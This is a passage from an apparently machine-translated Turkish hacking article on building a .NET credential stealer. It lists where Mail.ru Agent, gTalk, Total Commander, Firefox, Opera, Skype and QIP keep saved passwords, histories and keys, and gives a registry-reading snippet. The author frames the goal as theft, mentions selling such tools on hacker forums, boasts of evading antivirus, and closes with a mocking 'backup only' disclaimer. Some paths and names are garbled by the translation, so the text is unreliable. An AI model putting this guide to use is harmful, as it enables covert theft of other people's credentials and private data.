    Hemen söylemeliyim ki burada süper hacker eylemleri gerçekleştirmeye gerek yok. Çoğu program, kişisel verileri Documents and Settings\User\Application Data\%ProgramName% klasöründe veya kayıt defterinde depolar. ProgramAdı herhangi bir program anlamına gelir. İlk seçenekle karşı karşıya kalırsanız, zaten tanıdık xDirectory sınıfını (veya dosyalarla çalışmak için standart yöntemleri) kullanmanız ve ihtiyacınız olan her şeyi onunla kopyalamanız gerekir. İkinci durumda, kayıt defteri ile çalışmanız gerekecektir. Dosya kopyalama örneği vermeyeceğim (zaten düşündük), ancak size .NET araçlarını kullanarak kayıt defteriyle nasıl etkileşim kuracağınızı göstereceğim (TC klasörünün yolunu belirleme örneğini kullanarak):

    RegistryKey readKey = Registry.CurrentUser.OpenSubKey(" yazılım\\Ghisler\\ Toplam Amir"); string key = (string) readKey.GetValue("InstallDir");

    Bu kadar. Daha fazla kod olmayacak. Bu bilgi, değerli bilgiler içeren dosyaları çıkarmanız için yeterli olmalıdır. İşleri biraz daha kolaylaştırmak için en çok kullanılanların bir listesini hazırladım. popüler programlar ve kaydedilen kullanıcı verilerini depolamanın tüm yollarını boyadı.

    Posta Aracısı

    Mail.ru'dan gelen haberci artık sadece ölümlü kullanıcılar arasında (özellikle kadınlar arasında) çok popüler. Hedefler açık, görevler belirlendi, bu yüzden ilgileniyoruz:

  • Tarih. MA, kullanıcının yazışmalarının tüm geçmişini Documents içinde saklar ve\%User%\Application Data\Mra\base ayarında tutar. Temel klasörde bir dosya var mra.dbs. Bu, aslında, geçmiş dosyasıdır.
  • Kişi listesi. Kişi listesi, MRA\%user account%\clist5.txt klasöründe bulunur. mail.agent ile çalışan birkaç kullanıcı olabileceğini (veya bir kullanıcının birden fazla hesabı olabileceğini) unutmayın. Bu nedenle, adında “@” sembolünü içeren tüm klasörleri kopyalamak en mantıklısı olacaktır.
  • Şifre. Şifre (daha doğrusu hash'i) hesap Kullanıcı, ####password parametresinde - HKCU\Software\Mail.RU\Agent\magent_logins2\%Account% yolunda kayıt defterinde bulunur.
  • gTalk

    Şirket Google aralarında bir gabber istemcisi bulunan kullanışlı ve işlevsel ürünler yaratır - gTalk. Bugün gTalk henüz çok popüler değil. Her ikinci PC'ye kurulmaz, ancak bazen hala oluşur ve konuyla ilgili olmak için programımıza bu messenger'dan da şifre almayı hemen öğretmek daha iyidir. Tüm gTalk hesaplarının şifreleri kayıt defterinde saklanır - HHEY_CURRENT_USER\Software\Google\Google Talk\Accounts . Bu şube, şu ana kadar oturum açmış olan tüm hesapları listeler. gTalk. Hesap şifreleri şurada saklanır: dize parametresi pw.

    Toplam Amir

    Toplam Amir- açık ara en popüler dosya yöneticisi. Program yaklaşık olarak bir vagon ve küçük bir araba içerir (ve aynı numara ek eklentiler kullanılarak eklenebilir). Yalnızca yerleşik FTP istemcisiyle ilgileniyoruz. Birçok kişi tarafından kullanılır ve şifreler elbette kaydedilir.

    TC, diğer birçok programın aksine, şifreleri kayıt defterinde saklamaz, ancak eski güzel ini dosyalarını kullanır. Parolaların yanı sıra sunuculara bağlanmak için gerekli tüm veriler (ip, bağlantı noktası, kullanıcı adı vb.) Toplam Amir bir dosyada depolar wcx_ftp.ini, masum bir şekilde program klasöründe bulunur. Kurulu olduğu dizine giden yol Toplam Amir, kayıt defterinden öğrenebilirsiniz. HKEY_CURRENT_USER\Software\Ghisler\Total Commander şubesine bakın.

    firefox

    Bugün, bir tarayıcı sadece WEB seyahati için bir program değil, çeşitli olasılıklara ek olarak birçok gizli bilgiyi depolayan bir bütündür. Bunun tipik bir örneği web formlarıdır. Modern sitelerin %99'u kayıt gerektirir. Her site için giriş / şifre kombinasyonunu hatırlamak ve sürekli akılda tutmak, özellikle ileri düzey bir kullanıcıysanız ve internette gezinmek yalnızca Odnoklassniki ve VKontakte ile sınırlı değilse, gerçekçi olmayan bir iştir.

    Geliştiriciler, kullanıcılar için hayatı kolaylaştırdı ve programlara sözde "şifre kasaları" yerleştirdi. Kayıt oldum, hesabıma giriş yaptım, tarayıcıya kimlik bilgilerini hatırlamasını emrettim - ve unuttum. Bir sonraki ziyaretinizde, geriye sadece birkaç fare tıklaması yapmak kalıyor ve siz zaten sitedesiniz. Tarayıcı şifreleri kaydettiğinden, tüm veritabanını çalma fırsatımız olduğu anlamına gelir.

  • sessionstore.js - dosya tüm kayıtlı oturumları içerir.
  • signons3.txt - şifreli parolalar (FF'nin üçüncü sürümü için).
  • signons.sqlite - Tüm şifrelenmiş parolaları içeren SQLite veritabanı.
  • key3.db - sertifikalar için anahtarları içeren veritabanı.
  • Tüm bu dosyalar, tanıdık Document and Settings\%UserName%\Application Data\Mozilla\FireFox\Profiles\%ProfileName% içinde bulunur.

    Opera

    Opera- Rus kullanıcıları arasında çok popüler olan bir tarayıcı. Doğal olarak, onu gözetimsiz bırakamayız. Yani Opera ile durum FireFox ile hemen hemen aynı. Tarayıcıya kaydedilen tüm şifreler, wand.dat dosyasındaki Document and Settings\%UserName%\Application Data\Opera\profile klasöründe saklanır. Opera tespit edildiğinde, olduğu gibi davranacağımız ortaya çıktı. firefox.

    Skype

    Skype'ın popülaritesi her geçen gün artıyor. Birçok kişi onu arama yapmak için değil, banal uygun bir sohbet için kullanır. Beklendiği gibi tüm gizli veriler kullanıcı profilinde (Opera veya FF'nin bunları depoladığı yerde) bulunur. Bunları "özelleştirmek" için, Document and Settings\%userName%\Application Data\Skype\'dan kullanıcı profilini kopyalamanız ve HKEY_CURRENT_USER\Software\Skype\ProtectedStorage kayıt şubesini dışa aktarmanız gerekir.

    QIP

    Daha önce açıklanan programların çoğu gibi, QIP da kaydedilen tüm parolaları Application Data\qip içinde saklar.

    Kopyalama tamamlandı

    .NET teknolojisi, görevimizi büyük ölçüde basitleştirdi ve bunun sonucunda tüm kodlama birkaç yöntemi çağırmaya indirgendi. Elbette bunun havalı olmadığını ve bu tür şeyleri WinAPI veya ASM'de yazmanın çok daha verimli olduğunu söyleyebilirsiniz "e. Bazı yönlerden size katılıyorum ama WinAPI'de ve özellikle Asma'da aklınızda bulunsun. , böyle bir program yaz ama hemen başarılı olamazsın. Başkaları kilometrelerce uzunlukta kod yazarken, sen ve ben hasat edeceğiz. Programlamada iyi şanslar ve herhangi bir sorunuz varsa lütfen sabuna yazın.

    Unutmayın, birçok kullanıcı gizli bilgileri "Belgelerim" klasöründe saklar. En azından, ilginç çalışma belgeleri ve bazen şifreli tüm dosyalar olabilir. Bir keresinde (eski işimde) muhasebecinin bilgisayarında banka müşterilerinin şifrelerini içeren düzgün biçimlendirilmiş bir dosya buldum.

    Gerçek bir arkadaş olarak, tüm bu insanların hassas bilgilerini yedeklemelerine yardımcı olmalısınız.

    Birçok hacker forumunda bu tür yazılımların satışı için çok sayıda reklam vardır. Farklı fiyatlar - 10$'dan 100$'a. Makalede tartışılan örnekleri sonlandırdıktan sonra, havyarlı bir kara ekmek kabuğu kazanabilirsiniz. Tekrar ediyorum, asıl mesele konuya yaratıcı bir şekilde yaklaşmak ve her şey kesinlikle işe yarayacak. Yine antivirüsler tarafından algılanmaz;).

    Uyarı!

    Bu programı yalnızca flash sürücülerin içeriğinin diske zamanında yedeklenmesi ve şifrelerin bir flash sürücüye yedeklenmesi için kullanıyoruz. Ve sen ne düşündün? Bu tür yazılımların yasa dışı kullanımı cezalandırılabilir!